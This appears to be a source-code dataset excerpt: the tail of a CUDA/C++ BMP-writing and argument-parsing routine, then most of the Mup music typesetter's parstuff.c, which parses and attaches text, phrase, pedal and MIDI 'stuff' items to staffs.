bool verbose)
{
unsigned int headers[13];
FILE *outfile;
int extrabytes;
int paddedsize;
int x;
int y;
int n;
int red, green, blue;
std::vector<D> vchanR(height * width);
std::vector<D> vchanG(height * width);
std::vector<D> vchanB(height * width);
D *chanR = vchanR.data();
D *chanG = vchanG.data();
D *chanB = vchanB.data();
CHECK_CUDA(cudaMemcpy2D(chanR, (size_t)width * sizeof(D), d_chanR, pitchR, width * sizeof(D), height, cudaMemcpyDeviceToHost));
CHECK_CUDA(cudaMemcpy2D(chanG, (size_t)width * sizeof(D), d_chanG, pitchG, width * sizeof(D), height, cudaMemcpyDeviceToHost));
CHECK_CUDA(cudaMemcpy2D(chanB, (size_t)width * sizeof(D), d_chanB, pitchB, width * sizeof(D), height, cudaMemcpyDeviceToHost));
extrabytes = 4 - ((width * 3) % 4); // How many bytes of padding to add to each
// horizontal line - the size of which must
// be a multiple of 4 bytes.
if (extrabytes == 4)
extrabytes = 0;
paddedsize = ((width * 3) + extrabytes) * height;
headers[0] = paddedsize + 54; // bfSize (whole file size)
headers[1] = 0; // bfReserved (both)
headers[2] = 54; // bfOffbits
headers[3] = 40; // biSize
headers[4] = width; // biWidth
headers[5] = height; // biHeight
headers[7] = 0; // biCompression
headers[8] = paddedsize; // biSizeImage
headers[9] = 0; // biXPelsPerMeter
headers[10] = 0; // biYPelsPerMeter
headers[11] = 0; // biClrUsed
headers[12] = 0; // biClrImportant
if (!(outfile = fopen(filename, "wb")))
{
std::cerr << "Cannot open file: " << filename << std::endl;
return 1;
}
fprintf(outfile, "BM");
for (n = 0; n <= 5; n++)
{
fprintf(outfile, "%c", headers[n] & 0x000000FF);
fprintf(outfile, "%c", (headers[n] & 0x0000FF00) >> 8);
fprintf(outfile, "%c", (headers[n] & 0x00FF0000) >> 16);
fprintf(outfile, "%c", (headers[n] & (unsigned int)0xFF000000) >> 24);
}
// These next 4 characters are for the biPlanes and biBitCount fields.
fprintf(outfile, "%c", 1);
fprintf(outfile, "%c", 0);
fprintf(outfile, "%c", 24);
fprintf(outfile, "%c", 0);
for (n = 7; n <= 12; n++)
{
fprintf(outfile, "%c", headers[n] & 0x000000FF);
fprintf(outfile, "%c", (headers[n] & 0x0000FF00) >> 8);
fprintf(outfile, "%c", (headers[n] & 0x00FF0000) >> 16);
fprintf(outfile, "%c", (headers[n] & (unsigned int)0xFF000000) >> 24);
}
if (verbose && precision > 8)
{
std::cout<<"BMP write - truncating "<< (int)precision <<" bit data to 8 bit"<<std::endl;
}
//
// Headers done, now write the data...
//
for (y = height - 1; y >= 0; y--) // BMP image format is written from bottom to top...
{
for (x = 0; x <= width - 1; x++)
{
red = chanR[y * width + x];
green = chanG[y * width + x];
blue = chanB[y * width + x];
int scale = precision - 8;
if (scale > 0)
{
red = ((red >> scale) + ((red >> (scale - 1)) % 2));
green = ((green >> scale) + ((green >> (scale - 1)) % 2));
blue = ((blue >> scale) + ((blue >> (scale - 1)) % 2));
}
if (red > 255)
red = 255;
if (red < 0)
red = 0;
if (green > 255)
green = 255;
if (green < 0)
green = 0;
if (blue > 255)
blue = 255;
if (blue < 0)
blue = 0;
// Also, it's written in (b,g,r) format...
fprintf(outfile, "%c", blue);
fprintf(outfile, "%c", green);
fprintf(outfile, "%c", red);
}
if (extrabytes) // See above - BMP lines must be of lengths divisible by 4.
{
for (n = 1; n <= extrabytes; n++)
{
fprintf(outfile, "%c", 0);
}
}
}
fclose(outfile);
return 0;
}
// *****************************************************************************
// parse parameters
// -----------------------------------------------------------------------------
int findParamIndex(const char **argv, int argc, const char *parm)
{
int count = 0;
int index = -1;
for (int i = 0; i < argc; i++)
{
if (strncmp(argv[i], parm, 100) == 0)
{
index = i;
count++;
}
}
if (count == 0 || count == 1)
{
return index;
}
else
{
std::cout << "Error, parameter " << parm
<< " has been specified more than once, exiting\n"
<< std::endl;
return -1;
}
return -1;
}
| 32.398537 | 131 | 0.505361 | [
"vector"
] |
d3dbc8444e8de275997f75ac09291f7589301836 | 52,201 | c | C | src/mup/parstuff.c | muparkkra/mup | ac46d4b25de20203b48b849fd311fe9c9505ce6e | [
"Mup"
] | 5 | 2020-12-01T20:35:21.000Z | 2022-02-15T02:16:20.000Z | src/mup/parstuff.c | muparkkra/mup | ac46d4b25de20203b48b849fd311fe9c9505ce6e | [
"Mup"
] | 1,129 | 2019-02-25T00:55:24.000Z | 2022-03-06T02:18:11.000Z | src/mup/parstuff.c | muparkkra/mup | ac46d4b25de20203b48b849fd311fe9c9505ce6e | [
"Mup"
] | 4 | 2019-09-29T13:39:12.000Z | 2022-03-22T22:13:30.000Z |
/*
Copyright (c) 1995-2021 by Arkkra Enterprises.
All rights reserved.
Redistribution and use in source and binary forms,
with or without modification, are permitted provided that
the following conditions are met:
1. Redistributions of source code must retain
the above copyright notice, this list of conditions
and the following DISCLAIMER.
2. Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and
the following DISCLAIMER in the documentation and/or
other materials provided with the distribution.
3. Any additions, deletions, or changes to the original files
must be clearly indicated in accompanying documentation,
including the reasons for the changes,
and the names of those who made the modifications.
DISCLAIMER
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS
OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/* This file contains functions called during the Mup parse phase,
* that are related to STUFF structs.
*/
#include <string.h>
#include "defines.h"
#include "structs.h"
#include "globals.h"
/* if user specifies a "til" clause on stuff with a number of measures > 0,
* we need to save away info about where the til clause will end, to make sure
* that it doesn't fall off the end of the measure or the piece. This is the
* struct we use to save this info. */
static struct TIL_INFO {
char *inputfile; /* where STUFF was defined */
int inputlineno; /* where STUFF was defined */
int measnum; /* number of measure in which til clause ends */
float count; /* count in measure where til clause ends */
struct TIL_INFO *next; /* for linked list */
} *Til_info_list_p;
/* info about the STUFF currently being collected from input */
static int Curr_stuff_type; /* ST_* */
static int Stuff_size; /* point size of stuff text string */
static int Modifier; /* TM_* for text, L_* for phrase */
static int Measnum = 1; /* to check til clauses. Can't use Meas_num
* global because it doesn't count invisible
* bars but til clauses do */
static int Multi_adjust; /* adjustment to Measnum to account
* for multirests */
/* head and tail of list of STUFF currently being collected from input */
static struct STUFF *Head_stufflist_p;
static struct STUFF *Tail_stufflist_p;
/* current pedal state for each staff. YES if in the middle of doing pedal,
* NO if not. */
static short Pedal_state[MAXSTAFFS + 1];
static char *Ped_begin_str; /* will point to "\(begped)" */
static char *Ped_up_down_str; /* will point to "\(pedal)" */
/* static functions */
static struct STUFF *clone_stufflist P((struct STUFF *stufflist_p,
int staffno, int all));
static void do_attach P((int staffno, int all, struct RANGELIST *vno_range_p));
static void midi_attach P((int staffno, struct STAFF *staff_p,
struct RANGELIST *vno_range_p, int all));
static void free_stufflist P((struct STUFF *stuff_P));
static void free_tils P((struct TIL_INFO *til_p));
static void fix_pedal P((int staffno, struct STUFF *stuff_p));
static void ped_order_chk P((void));
static void voice_phrases P((struct MAINLL *mll_p, int vindex));
static void find_eph P((struct MAINLL *mll_p, struct GRPSYL *gs_p, int vindex,
int place));
static void mk_phrase_stuff P((struct MAINLL *mll_p,
struct GRPSYL *begin_gs_p, struct MAINLL *end_mll_p,
int bars, struct GRPSYL *end_gs_p, int end_ts_den, int place));
/* save current stuff type value. Also check that we are in data (music)
* context */
void
set_stuff_type(stuff_type)
int stuff_type;
{
Curr_stuff_type = stuff_type;
(void) contextcheck(C_MUSIC, "statement");
}
/* return current stuff type */
int
get_stuff_type()
{
return(Curr_stuff_type);
}
/* check all the things in an input line of stuff, up to the colon,
* for consistency, and save interesting info away for later use. */
void
chk_stuff_header(size, modifier, place, dist_usage)
int size; /* point size, or -1 if to use default */
int modifier; /* TM_* for text, L_* for phrase */
int place; /* PL_* */
int dist_usage; /* SD_* */
{
debug(4, "chk_stuff_header");
switch (Curr_stuff_type) {
case ST_ROM:
case ST_BOLD:
case ST_ITAL:
case ST_BOLDITAL:
break;
case ST_MUSSYM:
if (modifier != TM_NONE) {
l_warning(Curr_filename, yylineno,
"can't specify %s except with a font; ignoring",
stuff_modifier(modifier));
modifier = TM_NONE;
}
break;
case ST_PEDAL:
if (place != PL_BELOW && place != PL_UNKNOWN) {
yyerror("pedal must be below");
}
/*FALLTHRU*/
default:
if (size != -1) {
yyerror("can't specify size except with a font or mussym");
}
if (modifier != TM_NONE && Curr_stuff_type != ST_PHRASE) {
l_warning(Curr_filename, yylineno,
"can't specify %s except with a font; ignoring",
stuff_modifier(modifier));
}
if (Curr_stuff_type == ST_PHRASE && modifier != L_NORMAL &&
modifier != L_DOTTED && modifier != L_DASHED) {
l_yyerror(Curr_filename, yylineno,
"only dotted or dashed line type can be specified for phrase");
}
break;
}
if (Curr_stuff_type == ST_OCTAVE) {
if (is_tab_range() == YES) {
yyerror("octave not allowed on tablature staff");
}
else if(place == PL_BETWEEN) {
yyerror("octave must be above or below");
place = PL_ABOVE;
}
}
if (Curr_stuff_type == ST_PHRASE && place == PL_BETWEEN) {
yyerror("phrase must be above, below, or omitted");
place = PL_ABOVE;
}
if (dist_usage != SD_NONE) {
if (Curr_stuff_type == ST_PHRASE) {
yyerror("dist not allowed on phrase");
}
else if (Curr_stuff_type == ST_MIDI) {
yyerror("dist not allowed on midi");
}
if (place == PL_BETWEEN) {
yyerror("dist not allowed with 'between'");
}
}
/* Save the modifier value.
* Have to set this before calling dflt_place() */
Modifier = modifier;
/* fill in default values if user didn't specify */
if (place == PL_UNKNOWN) {
place = dflt_place();
}
Stuff_size = size;
Place = (short) place;
/* make sure current list of stuff is empty */
Head_stufflist_p = Tail_stufflist_p = (struct STUFF *) 0;
}
/* return default value for place depending on value of Curr_stuff_type */
int
dflt_place()
{
switch (Curr_stuff_type) {
case ST_PEDAL:
return(PL_BELOW);
case ST_OCTAVE:
yyerror("must specify above or below with octave");
/* arbitrarily return above. If we leave it as unknown,
* we can get double error messages in some cases */
return(PL_ABOVE);
case ST_PHRASE:
/* stays unknown at this point */
return(PL_UNKNOWN);
/* lyrics aren't stuff, but they can come through here,
* so we handle them specially */
case -1:
return(PL_BELOW);
default:
if (Modifier == TM_ANALYSIS || Modifier == TM_FIGBASS) {
return(PL_BELOW);
}
/* default for everything else is above */
return(PL_ABOVE);
}
}
/* Add a space padding to a string (except if is it boxed or circled).
* If padding was added, free the passed-in string and return the padded string,
* else return the string as is. The incoming string
* is expected to already be converted to font/size/string
* internal format by this time, although still in input ASCII form.
*/
char *
pad_string(string, modifier)
char *string;
int modifier; /* TM_* */
{
char *padded_string; /* string with 1-space padding at end */
char *str_p; /* walk through padded_string */
int len; /* length of string */
int last_was_backslash; /* YES/NO */
int count_backslashed; /* YES/NO if to count backslashed or
* unbackslashed colons */
int colons; /* how many colons found */
int extra; /* how many extra bytes to malloc */
len = strlen(string);
/* Boxed and circled strings don't get any extra padding,
* so we can use what we have. We check from the end of the string,
* because we allow font/size changes at the beginning. */
if (len > 5 && string[len - 2] == '\\'
&& (string[len-1] == ']' || string[len-1] == '}')) {
return(string);
}
/* Make a new copy with a space at the end.
* But if the string ends in the middle of a pile,
* we need to implicitly end the pile before adding the space.
* Since the string is still in ASCII form,
* we have to count up the number of colons
* to see if we are mid-pile. In chord/analysis/figbass
* we need to count unbackslashed colon,
* otherwise backslashed.*/
count_backslashed = (IS_CHORDLIKE(modifier) ? NO : YES);
/* figbass implicitly begins with a pile */
colons = (modifier == TM_FIGBASS ? 1 : 0);
last_was_backslash = NO;
for (str_p = string + 2; *str_p != '\0'; str_p++) {
if (last_was_backslash == YES) {
if (*str_p == ':' && count_backslashed == YES) {
colons++;
}
last_was_backslash = NO;
}
else {
if (*str_p == ':' && count_backslashed == NO) {
colons++;
}
last_was_backslash = (*str_p == '\\' ? YES : NO);
}
}
/* If odd number of colons, we are mid-pile. Will need
* add extra byte to hold the colon to implicitly end the
* pile, and if it needs to be a backslashed colon,
* another extra byte for that. */
if (colons & 1) {
extra = (count_backslashed == YES ? 2 : 1);
}
else {
extra = 0;
}
/* +2 is for space/null at end */
MALLOCA(char, padded_string, len + 2 + extra);
(void) memcpy(padded_string, string, len);
str_p = padded_string + len;
/* add implicit end-pile if needed */
if (extra == 2) {
*str_p++ = '\\';
}
if (extra > 0) {
*str_p++ = ':';
}
/* now add space padding */
*str_p++ = ' ';
*str_p = '\0';
FREE(string);
return(padded_string);
}
/* check a "stuff" item and add to list */
void
add_stuff_item(start_count, start_steps, start_gracebackup, string, bars, count,
end_steps, end_gracebackup, dist, dist_usage, aligntag)
double start_count; /* where in measure to start this stuff */
double start_steps; /* offset by this many stepsizes */
int start_gracebackup; /* how many grace notes to back up from start */
char *string; /* what to print */
int bars; /* how many bar lines to cross with this stuff */
double count; /* how many beats into last measure */
double end_steps; /* stepsizes to add to end (can be negative) */
int end_gracebackup; /* how many grace notes to back up from end */
double dist; /* dist for this specific STUFF, to override param */
int dist_usage; /* meaning of dist, SD_* */
int aligntag; /* tag number for aligning STUFFS across score */
{
struct STUFF *new_p; /* where to store STUFF */
struct TIL_INFO *til_info_p; /* to save info about til clause */
int len; /* length of stuff text string */
char *padded_string; /* string with 1-space padding at end */
char lch; /* last character of string */
if (bars != 0 || count != 0.0) {
/* has a "til" clause. Check if that is valid */
if (Curr_stuff_type == ST_MUSSYM) {
if (string == (char *) 0) {
yyerror("missing string");
return;
}
/* not yet changed to internal form, need to compare
* in ASCII form */
if ((strcmp(string + 2, "tr") != 0) &&
(strcmp(string + 2, "\\(tr)") != 0) &&
(strcmp(string + 2, "smtr") != 0) &&
(strcmp(string + 2, "\\(smtr)") != 0)) {
yyerror("til not allowed on mussym except on trills");
}
}
else if (Curr_stuff_type == ST_PEDAL) {
yyerror("til not allowed on pedal");
}
if (Curr_stuff_type != ST_PHRASE &&
(Modifier == TM_CHORD || Modifier == TM_ANALYSIS) ) {
l_yyerror(Curr_filename, yylineno,
"til not allowed with %s",
stuff_modifier(Modifier));
}
if (bars == 0) {
if (count > Score.timenum + 1) {
yyerror("'til' value must be <= numerator of time signature + 1");
}
if (count < start_count) {
yyerror("til value must be >= start value");
}
}
}
else {
/* doesn't have a "til" clause. Check if one is required */
if (Curr_stuff_type == ST_CRESC ||
Curr_stuff_type == ST_DECRESC) {
yyerror("til required on cresc/decresc");
}
}
if (start_count > Score.timenum + 1) {
yyerror("beat offset must be <= numerator of time signature + 1");
}
if (Curr_stuff_type == ST_CRESC || Curr_stuff_type == ST_DECRESC) {
if (string != (char *) 0) {
yyerror("string not allowed with cresc/decresc");
}
Modifier = TM_DYN;
}
else if (Curr_stuff_type == ST_PHRASE) {
if (string != (char *) 0) {
yyerror("string not allowed with phrase");
}
}
else if (Curr_stuff_type == ST_PEDAL) {
if ( (string != (char *) 0)
&& (strcmp(string + 2, "\\(endped)") != 0) ) {
yyerror("pedal string must be either blank or *");
}
}
else {
if (string == (char *) 0) {
yyerror("string is required");
return;
}
}
if ( (start_gracebackup != 0 || end_gracebackup != 0)
&& Place == PL_BETWEEN) {
yyerror("grace backup not allowed with 'between'");
}
if (aligntag != NOALIGNTAG && ! IS_TEXT(Curr_stuff_type)
&& Curr_stuff_type != ST_CRESC
&& Curr_stuff_type != ST_DECRESC) {
if (Curr_stuff_type == ST_PEDAL) {
/* User specified aligned on pedal is allowed only
* if alignped is set to n. But it could be set
* differently on different staffs. So we check
* all staffs this STUFF applies to, and if any of
* them have alignped=y, then we issue warning.
*/
struct SVRANGELIST *svr_p;
struct RANGELIST *r_p;
short staffno;
int align_allowed = YES; /* assume ok til proven not */
for (svr_p = Svrangelist_p; svr_p != 0;
svr_p = svr_p->next) {
for (r_p = svr_p->stafflist_p; r_p != 0;
r_p = r_p->next) {
for (staffno = r_p->begin;
staffno <= r_p->end
&& staffno <= MAXSTAFFS;
staffno++) {
if (svpath(staffno, ALIGNPED)->alignped == YES) {
align_allowed = NO;
break;
}
}
}
}
if (align_allowed == NO) {
l_warning(Curr_filename, yylineno,
"align is only effective on pedal if alignped is n");
}
}
else {
l_warning(Curr_filename, yylineno,
"align is only effective on rom, bold, ital, boldital, < and > (and pedal if alignped=n)");
}
}
/* Phrase marks associate with a particular group,
* so step offset doesn't make a lot of sense,
* so warn and ignore if we get one */
if ( (start_steps != 0.0 || end_steps != 0.0)
&& Curr_stuff_type == ST_PHRASE) {
l_warning(Curr_filename, yylineno, "step offset ignored on phrase mark");
start_steps = 0.0;
end_steps = 0.0;
}
switch (Curr_stuff_type) {
case ST_ROM:
case ST_BOLD:
case ST_ITAL:
case ST_BOLDITAL:
/* the text-type stuffs are supposed to have a 1-space padding
* at the end of them */
if (bars != 0 || count != 0.0) {
/* don't add padding if has wavy or solid line
* til clause */
lch = last_char(string);
if (lch == '~' || lch == '_') {
break;
}
}
string = pad_string(string, Modifier);
break;
case ST_MUSSYM:
/* in mussym, user can specify things without the usual
* \(---) convention. Change to include them */
if (string[2] == '\\' && string[3] == '(') {
/* if user unnecessarily put in the \(--), leave it */
break;
}
len = strlen(string + 2);
MALLOCA(char, padded_string, len + 6);
(void) sprintf(padded_string, "%c%c\\(%s)", FONT_TR, DFLT_SIZE,
string + 2);
FREE(string);
string = padded_string;
break;
default:
break;
}
/* fill in a new STUFF struct with appropriate info */
new_p = newSTUFF(string, dist, dist_usage, aligntag, start_count, start_steps,
start_gracebackup, bars, count, end_steps, end_gracebackup,
Curr_stuff_type, Modifier, Place, Curr_filename, yylineno);
/* if bars > 0, need to save away til info for later error
* checking */
if (bars > 0) {
CALLOC(TIL_INFO, til_info_p, 1);
til_info_p->measnum = Measnum + bars;
til_info_p->count = count;
til_info_p->inputfile = new_p->inputfile;
til_info_p->inputlineno = new_p->inputlineno;
til_info_p->next = Til_info_list_p;
Til_info_list_p = til_info_p;
}
/* above/between go on the head of the list, below goes on the
* tail of the list, so that things come out in the right order.
* Midi always goes at the end */
if (Place == PL_BELOW || Curr_stuff_type == ST_MIDI) {
/* link onto list tail */
if ( Tail_stufflist_p == (struct STUFF *) 0) {
Head_stufflist_p = new_p;
}
else {
Tail_stufflist_p->next = new_p;
}
Tail_stufflist_p = new_p;
}
else {
/* link onto head of list */
new_p->next = Head_stufflist_p;
Head_stufflist_p = new_p;
if (Tail_stufflist_p == (struct STUFF *) 0) {
Tail_stufflist_p = new_p;
}
}
}
/* return YES if given string consists entirely of the specific music symbol */
/* the string should be in the internal format of font/size/string */
int
string_is_sym(string, sym, symfont)
char *string; /* which string to check */
int sym; /* check for this music symbol */
int symfont; /* FONT_MUSIC* */
{
int font, size;
if (string == (char *) 0) {
return(NO);
}
font = *string++;
size = *string++;
if (next_str_char(&string, &font, &size) != sym) {
return(NO);
}
if (font != symfont) {
return(NO);
}
if (next_str_char(&string, &font, &size) == '\0') {
return(YES);
}
return (NO);
}
/* connect a list of STUFF to a STAFF. If there is already something on
* that STAFF's STUFF list, attach at the end or beginning as appropriate
* depending on place. */
void
attach_stuff()
{
struct SVRANGELIST *svr_p; /* to walk through Svrangelist */
struct RANGELIST *r_p; /* to walk through staff range list */
short staffno;
debug(4, "attach_stuff");
/* make sure we've got STAFF structs for this measure */
create_staffs();
for (svr_p = Svrangelist_p; svr_p != (struct SVRANGELIST *) 0;
svr_p = svr_p->next) {
for (r_p = svr_p->stafflist_p; r_p != (struct RANGELIST *) 0;
r_p = r_p->next) {
for (staffno = r_p->begin; staffno <= r_p->end
&& staffno <= MAXSTAFFS; staffno++) {
do_attach(staffno, r_p->all, svr_p->vnolist_p);
if (Place == PL_BETWEEN) {
/* between has 2 staffs in its range,
* but stuff is only associated
* with the top staff */
break;
}
}
}
}
free_rlists();
/* have made copies of stuff for each staff that gets one, with
* the proper font/size etc, so need to free master stufflist copy */
free_stufflist(Head_stufflist_p);
}
/* Attach STUFF for a specific staff. */
static void
do_attach(staffno, all, vno_range_p)
int staffno;
int all;
struct RANGELIST *vno_range_p;
{
struct STAFF *staff_p; /* where to attach STUFF */
struct STUFF *stufflist_p; /* current copy of STUFF list */
if (staffno > Score.staffs) {
l_yyerror(Head_stufflist_p->inputfile,
Head_stufflist_p->inputlineno,
"staff number out of range");
return;
}
staff_p = Staffmap_p[staffno]->u.staff_p;
if (Place == PL_BETWEEN) {
if (staffno + 1 > Score.staffs) {
/* will have already exclaimed about
* this error before, so no need to print message,
* but better skip next check */
return;
}
/* if either staff of a between is invisible,
* throw this stuff away */
if (svpath(staffno, VISIBLE)->visible == NO ||
svpath(staffno + 1,
VISIBLE)->visible == NO) {
return;
}
}
/* handle MIDI stuff specially */
if (Curr_stuff_type == ST_MIDI) {
if (all == YES) {
/* need to find top visible staff/voice to attach to */
int s; /* staff number */
int v; /* voice number */
struct RANGELIST range;
v = 1; /* avoid bogus "used before set" warning */
for (s = 1; s <= MAXSTAFFS; s++) {
if (svpath(s, VISIBLE)->visible == YES) {
for (v = 1; v <= MAXVOICES; v++) {
if (vvpath(s, v, VISIBLE)->visible == YES) {
break;
}
}
if (v <= MAXVOICES) {
break;
}
}
}
if (s > MAXSTAFFS || v > MAXVOICES) {
pfatal("failed to find top visible staff/voice");
}
/* make a special RANGELIST for this */
range.begin = range.end = v;
range.all = YES;
range.next = 0;
midi_attach(s, Staffmap_p[s]->u.staff_p, &range, all);
}
else {
midi_attach(staffno, staff_p, vno_range_p, all);
}
}
else {
/* make the copy for this staff from master copy */
stufflist_p = clone_stufflist(Head_stufflist_p, staffno, all);
if (Curr_stuff_type == ST_PEDAL) {
fix_pedal(staffno, stufflist_p);
}
connect_stuff(staff_p, stufflist_p);
}
}
/* attach MIDI stuff. This is slightly different than other stuff because
* it can be applied to one or both voices. */
static void
midi_attach(staffno, staff_p, vno_range_p, all)
int staffno; /* attach to this staff number */
struct STAFF *staff_p; /* attach to this staff struct */
struct RANGELIST *vno_range_p;
int all; /* if associated with "all" */
{
struct RANGELIST *r_p; /* walk through vno_range_p */
int vno; /* voice number */
struct STUFF *stufflist_p; /* copy of stuff */
struct STUFF *st_p; /* walk through stufflist_p */
short place;
/* do for each voice that MIDI stuff applies to */
for (r_p = vno_range_p; r_p != (struct RANGELIST *) 0; r_p = r_p->next) {
for (vno = r_p->begin; vno <= r_p->end; vno++) {
/* make the copy for this staff from master copy */
stufflist_p = clone_stufflist(Head_stufflist_p,
staffno, all);
/* fix up place based on voice number */
switch (vno) {
case 1:
place = PL_ABOVE;
break;
case 2:
place = PL_BELOW;
break;
case 3:
place = PL_BETWEEN;
break;
default:
pfatal("illegal vno for midi");
/*NOTREACHED*/
place = PL_UNKNOWN; /* avoid "used before set" warning */
break;
}
for (st_p = stufflist_p; st_p != (struct STUFF *) 0;
st_p = st_p->next) {
st_p->place = place;
}
connect_stuff(staff_p, stufflist_p);
}
}
}
/* connect a new stuff list into an existing stuff list. Add below stuff and
* MIDI stuff to the end of the list,
* and others to beginning of list, but make sure any
* "above all" comes after any above non-all, and that any below non-all
* comes before any "below all."
*/
void
connect_stuff(staff_p, stufflist_p)
struct STAFF *staff_p; /* connect to stuff off of this staff */
struct STUFF *stufflist_p; /* connect this list of stuff */
{
struct STUFF *st_p; /* to find link place in STUFF list */
struct STUFF *s_p; /* to find end of stufflist_p */
struct STUFF **ins_p_p; /* where to insert in list */
if (staff_p == (struct STAFF *) 0 || stufflist_p == (struct STUFF *) 0) {
return;
}
if (staff_p->stuff_p == (struct STUFF *) 0) {
/* no list before, so attach this one
* directly to STAFF */
staff_p->stuff_p = stufflist_p;
}
else if (Place == PL_BELOW || stufflist_p->stuff_type == ST_MIDI) {
/* if this set of stuff isn't associated with
* "all", then it goes before any below "all" stuff */
if (stufflist_p->all == NO) {
for (ins_p_p = &(staff_p->stuff_p);
*ins_p_p != (struct STUFF *) 0;
ins_p_p = &((*ins_p_p)->next)) {
if ( (*ins_p_p)->place == PL_BELOW &&
(*ins_p_p)->all == YES) {
break;
}
}
/* find end of list to be inserted */
for (s_p = stufflist_p; s_p->next != (struct STUFF *) 0;
s_p = s_p->next) {
;
}
/* insert */
s_p->next = *ins_p_p;
*ins_p_p = stufflist_p;
}
else {
/* goes at end of list. find the end */
for (st_p = staff_p->stuff_p;
st_p->next != (struct STUFF *)0;
st_p = st_p->next) {
;
}
/* connect in the new list */
st_p->next = stufflist_p;
}
}
else {
/* find end of new list */
for (s_p = stufflist_p;
s_p->next != (struct STUFF *) 0;
s_p = s_p->next) {
;
}
if (stufflist_p->all == NO) {
/* goes at the head of the list */
s_p->next = staff_p->stuff_p;
staff_p->stuff_p = stufflist_p;
}
else {
/* goes before any existing above all */
for (ins_p_p = &(staff_p->stuff_p);
*ins_p_p != (struct STUFF *) 0;
ins_p_p = &((*ins_p_p)->next)) {
if ( (*ins_p_p)->place == PL_ABOVE &&
(*ins_p_p)->all == YES) {
break;
}
}
/* find end of list to be inserted */
for (s_p = stufflist_p; s_p->next != (struct STUFF *) 0;
s_p = s_p->next) {
;
}
/* insert */
s_p->next = *ins_p_p;
*ins_p_p = stufflist_p;
}
}
}
/* given a list of STUFF, return a clone of the list */
static struct STUFF *
clone_stufflist(stufflist_p, staffno, all)
struct STUFF *stufflist_p; /* what stuff to clone */
int staffno; /* which staff, to get proper point size */
int all; /* YES if was "above all" or "below all" */
{
struct STUFF *new_p; /* copy of STUFF */
char *newstring; /* copy of text string */
int font;
int fontfamily;
int size;
if (stufflist_p == (struct STUFF *) 0) {
return( (struct STUFF *) 0 );
}
/* make copy of string with appropriate font and size */
if (stufflist_p->string != (char *) 0) {
switch(stufflist_p->stuff_type) {
case ST_BOLD:
font = FONT_TB;
break;
case ST_OCTAVE:
Stuff_size = DFLT_SIZE;
font = FONT_TI;
break;
case ST_ITAL:
font = FONT_TI;
break;
case ST_BOLDITAL:
font = FONT_TX;
break;
default:
font = FONT_TR;
break;
}
/* figure out the proper size if not already determined */
if (Stuff_size < 0) {
if (all == YES) {
size = Score.size;
}
else {
size = svpath(staffno, SIZE)->size;
}
}
else {
size = Stuff_size;
}
/* determine fontfamily and font if not already known */
if (Curr_family == FAMILY_DFLT) {
if (all == YES) {
fontfamily = Score.fontfamily;
}
else {
fontfamily = svpath(staffno, FONTFAMILY)->
fontfamily;
}
}
else {
fontfamily = Curr_family;
}
/* clone text string */
newstring = copy_string(stufflist_p->string + 2, font, size);
if (IS_CHORDLIKE(Modifier)) {
newstring = modify_chstr(newstring, Modifier);
}
fix_string(newstring, fontfamily + font, size,
stufflist_p->inputfile, stufflist_p->inputlineno);
if (Modifier == TM_FIGBASS || Modifier == TM_ANALYSIS) {
newstring = acc_trans(newstring);
}
}
else {
newstring = (char *) 0;
}
/* create and fill in clone of stuff, then return it */
new_p = newSTUFF(newstring, stufflist_p->dist,
stufflist_p->dist_usage,
stufflist_p->aligntag,
stufflist_p->start.count,
stufflist_p->start.steps,
stufflist_p->start.gracebackup,
stufflist_p->end.bars, stufflist_p->end.count,
stufflist_p->end.steps,
stufflist_p->end.gracebackup,
stufflist_p->stuff_type, stufflist_p->modifier,
stufflist_p->place, stufflist_p->inputfile,
stufflist_p->inputlineno);
new_p->all = (short) all;
new_p->next = clone_stufflist(stufflist_p->next, staffno, all);
return(new_p);
}
/* allocate a STUFF and fill in all the values given. Initialize carry fields
* and "all" to NO. Leave coordinates and next link as 0.
* Note that the string pointer
* is copied; it does not make a copy of the string itself, so never call this
* function more than once with the same string--make a copy. */
struct STUFF *
newSTUFF(string, dist, dist_usage, aligntag,
start_count, start_steps, start_gracebackup,
bars, count, end_steps, end_gracebackup,
stuff_type, modifier, place, inputfile, inputlineno)
char *string; /* text string of stuff */
double dist; /* dist for this STUFF to override dist parameter */
int dist_usage; /* meaning of dist, SD_* */
int aligntag; /* tag for aligning STUFF vertically */
double start_count; /* count at which to begin stuff */
double start_steps; /* offset by this many steps */
int start_gracebackup; /* how many grace notes to back up from start */
int bars; /* bars in "til" clasue */
double count; /* counts in "til" clause */
double end_steps; /* in the "til" clause */
int end_gracebackup; /* how many grace notes to back up from end */
int stuff_type; /* ST_* */
int modifier; /* TM_* */
int place; /* PL_* */
char *inputfile; /* which file stuff was defined in */
int inputlineno; /* where stuff was defined in input file */
{
struct STUFF *new_p; /* the new STUFF to fill in */
CALLOC(STUFF, new_p, 1);
new_p->string = string;
new_p->start.count = start_count;
new_p->start.steps = start_steps;
new_p->start.gracebackup = (short) start_gracebackup;
new_p->dist = (float) dist;
new_p->dist_usage = (short) dist_usage;
new_p->aligntag = aligntag;
new_p->horzscale = DEFHORZSCALE;
new_p->end.bars = (short) bars;
new_p->end.count = count;
new_p->end.steps = end_steps;
new_p->end.gracebackup = end_gracebackup;
new_p->stuff_type = (short) stuff_type;
new_p->modifier = (short) modifier;
new_p->place = (short) place;
new_p->carryin = new_p->carryout = new_p->all = NO;
new_p->costuff_p = 0;
new_p->inputfile = inputfile;
new_p->inputlineno = (short) inputlineno;
return(new_p);
}
/* recursively free up a stufflist and any strings hanging off of it */
static void
free_stufflist(stuff_p)
struct STUFF *stuff_p;
{
if (stuff_p == (struct STUFF *) 0 ) {
return;
}
free_stufflist(stuff_p->next);
